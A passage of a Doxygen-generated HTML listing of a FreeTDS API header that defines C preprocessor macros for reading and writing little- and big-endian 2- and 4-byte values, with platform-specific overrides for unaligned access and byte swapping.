name="l00073"></a>00073 <span class="preprocessor"> ((TDS_UCHAR*)(ptr))[1] * 0x100u + ((TDS_UCHAR*)(ptr))[0])</span> <a name="l00074"></a>00074 <span class="preprocessor"></span><span class="preprocessor">#define TDS_GET_UA4BE(ptr) \</span> <a name="l00075"></a>00075 <span class="preprocessor"> (((TDS_UCHAR*)(ptr))[0] * 0x1000000u + ((TDS_UCHAR*)(ptr))[1] * 0x10000u +\</span> <a name="l00076"></a>00076 <span class="preprocessor"> ((TDS_UCHAR*)(ptr))[2] * 0x100u + ((TDS_UCHAR*)(ptr))[3])</span> <a name="l00077"></a>00077 <span class="preprocessor"></span><span class="preprocessor">#define TDS_GET_A4LE(ptr) TDS_GET_UA4LE(ptr)</span> <a name="l00078"></a>00078 <span class="preprocessor"></span><span class="preprocessor">#define TDS_GET_A4BE(ptr) TDS_GET_UA4BE(ptr)</span> <a name="l00079"></a>00079 <span class="preprocessor"></span> <a name="l00080"></a>00080 <span class="preprocessor">#define TDS_PUT_UA4LE(ptr,val) do {\</span> <a name="l00081"></a>00081 <span class="preprocessor"> ((TDS_UCHAR*)(ptr))[3] = (TDS_UCHAR)((val)>>24); ((TDS_UCHAR*)(ptr))[2] = (TDS_UCHAR)((val)>>16);\</span> <a name="l00082"></a>00082 <span class="preprocessor"> ((TDS_UCHAR*)(ptr))[1] = (TDS_UCHAR)((val)>>8); ((TDS_UCHAR*)(ptr))[0] = (TDS_UCHAR)(val); } while(0)</span> <a name="l00083"></a>00083 <span class="preprocessor"></span><span class="preprocessor">#define TDS_PUT_UA4BE(ptr,val) do {\</span> <a name="l00084"></a>00084 <span class="preprocessor"> ((TDS_UCHAR*)(ptr))[0] = (TDS_UCHAR)((val)>>24); ((TDS_UCHAR*)(ptr))[1] = (TDS_UCHAR)((val)>>16);\</span> <a name="l00085"></a>00085 <span class="preprocessor"> ((TDS_UCHAR*)(ptr))[2] = (TDS_UCHAR)((val)>>8); ((TDS_UCHAR*)(ptr))[3] = (TDS_UCHAR)(val); } while(0)</span> <a name="l00086"></a>00086 <span class="preprocessor"></span><span class="preprocessor">#define TDS_PUT_A4LE(ptr,val) TDS_PUT_UA4LE(ptr,val)</span> <a name="l00087"></a>00087 <span class="preprocessor"></span><span class="preprocessor">#define TDS_PUT_A4BE(ptr,val) TDS_PUT_UA4BE(ptr,val)</span> <a name="l00088"></a>00088 <span class="preprocessor"></span> <a name="l00089"></a>00089 <span class="comment">/* architecture dependent */</span> <a name="l00090"></a>00090 <span class="preprocessor">#ifdef WORDS_BIGENDIAN</span> <a name="l00091"></a>00091 <span class="preprocessor"></span><span class="preprocessor"># define TDS_GET_A1(ptr) TDS_GET_A1BE(ptr)</span> <a name="l00092"></a>00092 <span class="preprocessor"></span><span class="preprocessor"># define TDS_GET_UA1(ptr) TDS_GET_UA1BE(ptr)</span> <a name="l00093"></a>00093 <span class="preprocessor"></span><span class="preprocessor"># define TDS_GET_A2(ptr) TDS_GET_A2BE(ptr)</span> <a name="l00094"></a>00094 <span class="preprocessor"></span><span class="preprocessor"># define TDS_GET_UA2(ptr) TDS_GET_UA2BE(ptr)</span> <a name="l00095"></a>00095 <span class="preprocessor"></span><span class="preprocessor"># define TDS_GET_A4(ptr) TDS_GET_A4BE(ptr)</span> <a name="l00096"></a>00096 <span class="preprocessor"></span><span class="preprocessor"># define TDS_GET_UA4(ptr) TDS_GET_UA4BE(ptr)</span> <a name="l00097"></a>00097 <span class="preprocessor"></span><span class="preprocessor"># undef TDS_GET_A2BE</span> <a name="l00098"></a>00098 <span class="preprocessor"></span><span class="preprocessor"># undef TDS_GET_A4BE</span> <a name="l00099"></a>00099 <span class="preprocessor"></span><span class="preprocessor"># define TDS_GET_A2BE(ptr) (*((TDS_USMALLINT*)(ptr)))</span> <a name="l00100"></a>00100 <span class="preprocessor"></span><span class="preprocessor"># define TDS_GET_A4BE(ptr) (*((TDS_UINT*)(ptr)))</span> <a name="l00101"></a>00101 <span class="preprocessor"></span> <a name="l00102"></a>00102 <span class="preprocessor"># define TDS_PUT_A1(ptr,val) TDS_PUT_A1BE(ptr,val)</span> <a name="l00103"></a>00103 <span class="preprocessor"></span><span class="preprocessor"># define TDS_PUT_UA1(ptr,val) TDS_PUT_UA1BE(ptr,val)</span> <a name="l00104"></a>00104 <span class="preprocessor"></span><span class="preprocessor"># define TDS_PUT_A2(ptr,val) TDS_PUT_A2BE(ptr,val)</span> <a name="l00105"></a>00105 <span class="preprocessor"></span><span class="preprocessor"># define TDS_PUT_UA2(ptr,val) TDS_PUT_UA2BE(ptr,val)</span> <a name="l00106"></a>00106 <span class="preprocessor"></span><span class="preprocessor"># define TDS_PUT_A4(ptr,val) TDS_PUT_A4BE(ptr,val)</span> <a name="l00107"></a>00107 <span class="preprocessor"></span><span class="preprocessor"># define TDS_PUT_UA4(ptr,val) TDS_PUT_UA4BE(ptr,val)</span> <a name="l00108"></a>00108 <span class="preprocessor"></span><span class="preprocessor"># undef TDS_PUT_A2BE</span> <a name="l00109"></a>00109 <span class="preprocessor"></span><span class="preprocessor"># undef TDS_PUT_A4BE</span> <a name="l00110"></a>00110 <span class="preprocessor"></span><span class="preprocessor"># define TDS_PUT_A2BE(ptr,val) (*((TDS_USMALLINT*)(ptr)) = (val))</span> <a name="l00111"></a>00111 <span class="preprocessor"></span><span class="preprocessor"># define TDS_PUT_A4BE(ptr,val) (*((TDS_UINT*)(ptr)) = (val))</span> <a name="l00112"></a>00112 <span class="preprocessor"></span><span class="preprocessor"># define TDS_HOST2LE(val) TDS_BYTE_SWAP16(val)</span> <a name="l00113"></a>00113 <span class="preprocessor"></span><span class="preprocessor"># define TDS_HOST4LE(val) TDS_BYTE_SWAP32(val)</span> <a name="l00114"></a>00114 <span class="preprocessor"></span><span class="preprocessor"># define TDS_HOST2BE(val) (val)</span> <a name="l00115"></a>00115 <span class="preprocessor"></span><span class="preprocessor"># define TDS_HOST4BE(val) (val)</span> <a name="l00116"></a>00116 <span class="preprocessor"></span><span class="preprocessor">#else</span> <a name="l00117"></a>00117 <span class="preprocessor"></span><span class="preprocessor"># define TDS_GET_A1(ptr) TDS_GET_A1LE(ptr)</span> <a name="l00118"></a>00118 <span class="preprocessor"></span><span class="preprocessor"># define TDS_GET_UA1(ptr) TDS_GET_UA1LE(ptr)</span> <a name="l00119"></a>00119 <span class="preprocessor"></span><span class="preprocessor"># define TDS_GET_A2(ptr) TDS_GET_A2LE(ptr)</span> <a name="l00120"></a>00120 <span class="preprocessor"></span><span class="preprocessor"># define TDS_GET_UA2(ptr) TDS_GET_UA2LE(ptr)</span> <a name="l00121"></a>00121 <span class="preprocessor"></span><span class="preprocessor"># define TDS_GET_A4(ptr) TDS_GET_A4LE(ptr)</span> <a name="l00122"></a>00122 <span class="preprocessor"></span><span class="preprocessor"># define TDS_GET_UA4(ptr) TDS_GET_UA4LE(ptr)</span> <a name="l00123"></a>00123 <span class="preprocessor"></span><span class="preprocessor"># undef TDS_GET_A2LE</span> <a name="l00124"></a>00124 <span class="preprocessor"></span><span class="preprocessor"># undef TDS_GET_A4LE</span> <a name="l00125"></a>00125 <span class="preprocessor"></span><span class="preprocessor"># define TDS_GET_A2LE(ptr) (*((TDS_USMALLINT*)(ptr)))</span> <a name="l00126"></a>00126 <span class="preprocessor"></span><span class="preprocessor"># define TDS_GET_A4LE(ptr) (*((TDS_UINT*)(ptr)))</span> <a name="l00127"></a>00127 <span class="preprocessor"></span> <a name="l00128"></a>00128 <span class="preprocessor"># define TDS_PUT_A1(ptr,val) TDS_PUT_A1LE(ptr,val)</span> <a name="l00129"></a>00129 <span class="preprocessor"></span><span class="preprocessor"># define TDS_PUT_UA1(ptr,val) TDS_PUT_UA1LE(ptr,val)</span> <a name="l00130"></a>00130 <span class="preprocessor"></span><span class="preprocessor"># define TDS_PUT_A2(ptr,val) TDS_PUT_A2LE(ptr,val)</span> <a name="l00131"></a>00131 <span class="preprocessor"></span><span class="preprocessor"># define TDS_PUT_UA2(ptr,val) TDS_PUT_UA2LE(ptr,val)</span> <a name="l00132"></a>00132 <span class="preprocessor"></span><span class="preprocessor"># define TDS_PUT_A4(ptr,val) TDS_PUT_A4LE(ptr,val)</span> <a name="l00133"></a>00133 <span class="preprocessor"></span><span class="preprocessor"># define TDS_PUT_UA4(ptr,val) TDS_PUT_UA4LE(ptr,val)</span> <a name="l00134"></a>00134 <span class="preprocessor"></span><span class="preprocessor"># undef TDS_PUT_A2LE</span> <a name="l00135"></a>00135 <span class="preprocessor"></span><span class="preprocessor"># undef TDS_PUT_A4LE</span> <a name="l00136"></a>00136 <span class="preprocessor"></span><span class="preprocessor"># define TDS_PUT_A2LE(ptr,val) (*((TDS_USMALLINT*)(ptr)) = (val))</span> <a name="l00137"></a>00137 <span class="preprocessor"></span><span class="preprocessor"># define TDS_PUT_A4LE(ptr,val) (*((TDS_UINT*)(ptr)) = (val))</span> <a name="l00138"></a>00138 <span class="preprocessor"></span><span class="preprocessor"># define TDS_HOST2LE(val) (val)</span> <a name="l00139"></a>00139 <span class="preprocessor"></span><span class="preprocessor"># define TDS_HOST4LE(val) (val)</span> <a name="l00140"></a>00140 <span class="preprocessor"></span><span class="preprocessor"># define TDS_HOST2BE(val) TDS_BYTE_SWAP16(val)</span> <a name="l00141"></a>00141 <span class="preprocessor"></span><span class="preprocessor"># define TDS_HOST4BE(val) TDS_BYTE_SWAP32(val)</span> <a name="l00142"></a>00142 <span class="preprocessor"></span><span class="preprocessor">#endif</span> <a name="l00143"></a>00143 <span class="preprocessor"></span> <a name="l00144"></a>00144 <span class="comment">/* these platform support unaligned fetch/store */</span> <a name="l00145"></a>00145 <span class="preprocessor">#if defined(__i386__) || defined(__amd64__) || defined(__CRIS__) ||\</span> <a name="l00146"></a>00146 <span class="preprocessor"> defined(__powerpc__) || defined(__powerpc64__) || defined(__ppc__) || defined(__ppc64__) ||\</span> <a name="l00147"></a>00147 <span class="preprocessor"> defined(__s390__) || defined(__s390x__) || defined(__m68k__)</span> <a name="l00148"></a>00148 <span class="preprocessor"></span><span class="preprocessor"># ifdef WORDS_BIGENDIAN</span> <a name="l00149"></a>00149 <span class="preprocessor"></span><span class="preprocessor"># undef TDS_GET_UA2BE</span> <a name="l00150"></a>00150 <span class="preprocessor"></span><span class="preprocessor"># undef TDS_GET_UA4BE</span> <a name="l00151"></a>00151 <span class="preprocessor"></span><span class="preprocessor"># define TDS_GET_UA2BE(ptr) TDS_GET_A2BE(ptr)</span> <a name="l00152"></a>00152 <span class="preprocessor"></span><span class="preprocessor"># define TDS_GET_UA4BE(ptr) TDS_GET_A4BE(ptr)</span> <a name="l00153"></a>00153 <span class="preprocessor"></span> <a name="l00154"></a>00154 <span class="preprocessor"># undef TDS_PUT_UA2BE</span> <a name="l00155"></a>00155 <span class="preprocessor"></span><span class="preprocessor"># undef TDS_PUT_UA4BE</span> <a name="l00156"></a>00156 <span class="preprocessor"></span><span class="preprocessor"># define TDS_PUT_UA2BE(ptr,val) TDS_PUT_A2BE(ptr,val)</span> <a name="l00157"></a>00157 <span class="preprocessor"></span><span class="preprocessor"># define TDS_PUT_UA4BE(ptr,val) TDS_PUT_A4BE(ptr,val)</span> <a name="l00158"></a>00158 <span class="preprocessor"></span><span class="preprocessor"># else</span> <a name="l00159"></a>00159 <span class="preprocessor"></span><span class="preprocessor"># undef TDS_GET_UA2LE</span> <a name="l00160"></a>00160 <span class="preprocessor"></span><span class="preprocessor"># undef TDS_GET_UA4LE</span> <a name="l00161"></a>00161 <span class="preprocessor"></span><span class="preprocessor"># define TDS_GET_UA2LE(ptr) TDS_GET_A2LE(ptr)</span> <a name="l00162"></a>00162 <span class="preprocessor"></span><span class="preprocessor"># define TDS_GET_UA4LE(ptr) TDS_GET_A4LE(ptr)</span> <a name="l00163"></a>00163 <span class="preprocessor"></span> <a name="l00164"></a>00164 <span class="preprocessor"># undef TDS_PUT_UA2LE</span> <a name="l00165"></a>00165 <span class="preprocessor"></span><span class="preprocessor"># undef TDS_PUT_UA4LE</span> <a name="l00166"></a>00166 <span class="preprocessor"></span><span class="preprocessor"># define TDS_PUT_UA2LE(ptr,val) TDS_PUT_A2LE(ptr,val)</span> <a name="l00167"></a>00167 <span class="preprocessor"></span><span class="preprocessor"># define TDS_PUT_UA4LE(ptr,val) TDS_PUT_A4LE(ptr,val)</span> <a name="l00168"></a>00168 <span class="preprocessor"></span><span class="preprocessor"># endif</span> <a name="l00169"></a>00169 <span class="preprocessor"></span><span class="preprocessor">#endif</span> <a name="l00170"></a>00170 <span class="preprocessor"></span> <a name="l00171"></a>00171 <span class="preprocessor">#if defined(__linux__) && defined(__GNUC__) && defined(__i386__)</span> <a name="l00172"></a>00172 <span class="preprocessor"></span><span class="preprocessor"># include <byteswap.h></span> <a name="l00173"></a>00173 <span class="preprocessor"># undef TDS_GET_UA2BE</span> <a name="l00174"></a>00174 <span class="preprocessor"></span><span class="preprocessor"># undef TDS_GET_UA4BE</span> <a name="l00175"></a>00175 <span class="preprocessor"></span><span class="preprocessor"># define TDS_GET_UA2BE(ptr) ({ TDS_USMALLINT _tds_si = TDS_GET_UA2LE(ptr); bswap_16(_tds_si); })</span> <a name="l00176"></a>00176 <span class="preprocessor"></span><span class="preprocessor"># define TDS_GET_UA4BE(ptr) ({ TDS_UINT _tds_i = TDS_GET_UA4LE(ptr); bswap_32(_tds_i); })</span> <a name="l00177"></a>00177 <span class="preprocessor"></span> <a name="l00178"></a>00178 <span class="preprocessor"># undef TDS_PUT_UA2BE</span> <a name="l00179"></a>00179 <span class="preprocessor"></span><span class="preprocessor"># undef TDS_PUT_UA4BE</span> <a name="l00180"></a>00180 <span class="preprocessor"></span><span class="preprocessor"># define TDS_PUT_UA2BE(ptr,val) do {\</span> <a name="l00181"></a>00181 <span class="preprocessor"> TDS_USMALLINT _tds_si = bswap_16(val); TDS_PUT_UA2LE(ptr,_tds_si); } while(0)</span> <a name="l00182"></a>00182 <span class="preprocessor"></span><span class="preprocessor"># define TDS_PUT_UA4BE(ptr,val) do {\</span> <a name="l00183"></a>00183 <span class="preprocessor"> TDS_UINT _tds_i = bswap_32(val); TDS_PUT_UA4LE(ptr,_tds_i); } while(0)</span> <a name="l00184"></a>00184 <span class="preprocessor"></span><span class="preprocessor">#endif</span> <a name="l00185"></a>00185 <span class="preprocessor"></span> <a name="l00186"></a>00186 <span class="preprocessor">#endif</span> </pre></div></div> <!--- window showing the filter options --> <div id="MSearchSelectWindow" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" onkeydown="return searchBox.OnSearchSelectKey(event)"> <a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark"> </span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark"> </span>Classes</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark"> </span>Files</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark"> </span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark"> </span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(5)"><span class="SelectionMark"> </span>Typedefs</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(6)"><span class="SelectionMark"> </span>Enumerations</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(7)"><span class="SelectionMark"> </span>Enumerator</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(8)"><span class="SelectionMark"> </span>Defines</a></div> <!-- iframe showing the search results (closed by default) --> <div id="MSearchResultsWindow"> <iframe src="" frameborder="0" name="MSearchResults" id="MSearchResults"> </iframe> </div> <hr class="footer"/><address style="text-align: right;"><small>Generated on Wed Aug 17 22:22:30 2011 for FreeTDS API by <a href="http://www.doxygen.org/index.html"> <img class="footer" src="doxygen.png" alt="doxygen"/></a> 1.6.3 </small></address> </body> </html>
Close